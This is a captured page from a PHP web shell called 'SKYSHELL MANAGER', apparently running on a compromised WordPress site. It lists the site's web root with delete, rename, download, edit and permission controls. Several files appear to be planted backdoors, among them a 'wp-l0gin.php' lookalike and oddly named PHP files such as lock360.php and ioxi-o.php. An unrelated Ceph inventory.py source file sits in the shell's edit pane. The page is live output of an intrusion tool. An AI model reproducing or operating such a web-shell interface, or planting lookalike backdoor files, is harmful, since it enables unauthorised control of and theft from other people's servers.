📁
SKYSHELL MANAGER
PHP v8.3.31
Create
Create
Path:
root
/
www
/
wwwroot
/
23winw.org
/
Name
Size
Perm
Actions
📁
seo
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0777
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.user.ini
0.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
32.33 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
adminfuns.php
24.51 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
asd.php
143.87 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
2.02 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
connects.php
4.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
css
1.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dataxy.php
37.06 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
dex.php
77.67 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
169.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
14.36 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
ioxi-o.php
966.6 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kk.php
3.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
license.txt
19.44 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
link-parse-opml.php
53.15 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
lock360.php
47.7 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
moddofuns.php
5.36 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
my-sites.php
161.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
readme.html
7.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
siteheads.php
168.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
thoms.php
399.45 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
worksec.php
1.06 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
7.54 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-blog-header.php
0.61 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-comments-post.php
2.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config-sample.php
3.26 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php
5.02 KB
0600
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-config.php..
3.56 KB
0666
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-cron.php
5.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-editor.php
53.71 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-l0gin.php
170.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-links-opml.php
2.43 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-load.php
3.84 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-login.php
51.3 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
8.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-set.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-settings.php
32.38 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-sign.php
181.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-signup.php
34.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-trackback.php
5.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
xmlrpc.php
70.92 KB
0000
🗑️
🏷️
⬇️
✏️
🔒
Edit: inventory.py
try: from typing import List, Optional, Dict, Any, Union except ImportError: pass # for type checking from ceph.utils import datetime_now, datetime_to_str, str_to_datetime import datetime import json class Devices(object): """ A container for Device instances with reporting """ def __init__(self, devices): # type: (List[Device]) -> None # sort devices by path name so ordering is consistent self.devices: List[Device] = sorted(devices, key=lambda d: d.path if d.path else '') def __eq__(self, other: Any) -> bool: if not isinstance(other, Devices): return NotImplemented if len(self.devices) != len(other.devices): return False for d1, d2 in zip(other.devices, self.devices): if d1 != d2: return False return True def to_json(self): # type: () -> List[dict] return [d.to_json() for d in self.devices] @classmethod def from_json(cls, input): # type: (List[Dict[str, Any]]) -> Devices return cls([Device.from_json(i) for i in input]) def copy(self): # type: () -> Devices return Devices(devices=list(self.devices)) class Device(object): report_fields = [ 'ceph_device', 'rejected_reasons', 'available', 'path', 'sys_api', 'created', 'lvs', 'human_readable_type', 'device_id', 'lsm_data', 'crush_device_class' ] def __init__(self, path, # type: str sys_api=None, # type: Optional[Dict[str, Any]] available=None, # type: Optional[bool] rejected_reasons=None, # type: Optional[List[str]] lvs=None, # type: Optional[List[Dict[str, str]]] device_id=None, # type: Optional[str] lsm_data=None, # type: Optional[Dict[str, Dict[str, str]]] created=None, # type: Optional[datetime.datetime] ceph_device=None, # type: Optional[bool] crush_device_class=None # type: Optional[str] ): self.path = path self.sys_api = sys_api if sys_api is not None else {} # type: Dict[str, Any] self.available = available self.rejected_reasons = rejected_reasons if rejected_reasons is not None else [] self.lvs = lvs self.device_id = device_id self.lsm_data = lsm_data if lsm_data is not None else {} # type: Dict[str, Dict[str, str]] self.created = created if created is not None else datetime_now() self.ceph_device = ceph_device self.crush_device_class = crush_device_class def __eq__(self, other): # type: (Any) -> bool if not isinstance(other, Device): return NotImplemented diff = [k for k in self.report_fields if k != 'created' and (getattr(self, k) != getattr(other, k))] return not diff def to_json(self): # type: () -> dict return { k: (getattr(self, k) if k != 'created' or not isinstance(getattr(self, k), datetime.datetime) else datetime_to_str(getattr(self, k))) for k in self.report_fields } @classmethod def from_json(cls, input): # type: (Dict[str, Any]) -> Device if not isinstance(input, dict): raise ValueError('Device: Expected dict. Got `{}...`'.format(json.dumps(input)[:10])) ret = cls( **{ key: (input.get(key, None) if key != 'created' or not input.get(key, None) else str_to_datetime(input.get(key, None))) for key in Device.report_fields if key != 'human_readable_type' } ) if ret.rejected_reasons: ret.rejected_reasons = sorted(ret.rejected_reasons) return ret @property def human_readable_type(self): # type: () -> str if self.sys_api is None or 'rotational' not in self.sys_api: return "unknown" return 'hdd' if self.sys_api["rotational"] == "1" else 'ssd' def __repr__(self) -> str: device_desc: Dict[str, Union[str, List[str], List[Dict[str, str]]]] = { 'path': self.path if self.path is not None else 'unknown', 'lvs': self.lvs if self.lvs else 'None', 'available': str(self.available), 'ceph_device': str(self.ceph_device), 'crush_device_class': str(self.crush_device_class) } if not self.available and self.rejected_reasons: device_desc['rejection reasons'] = self.rejected_reasons return "Device({})".format( ', '.join('{}={}'.format(key, device_desc[key]) for key in device_desc.keys()) )
Save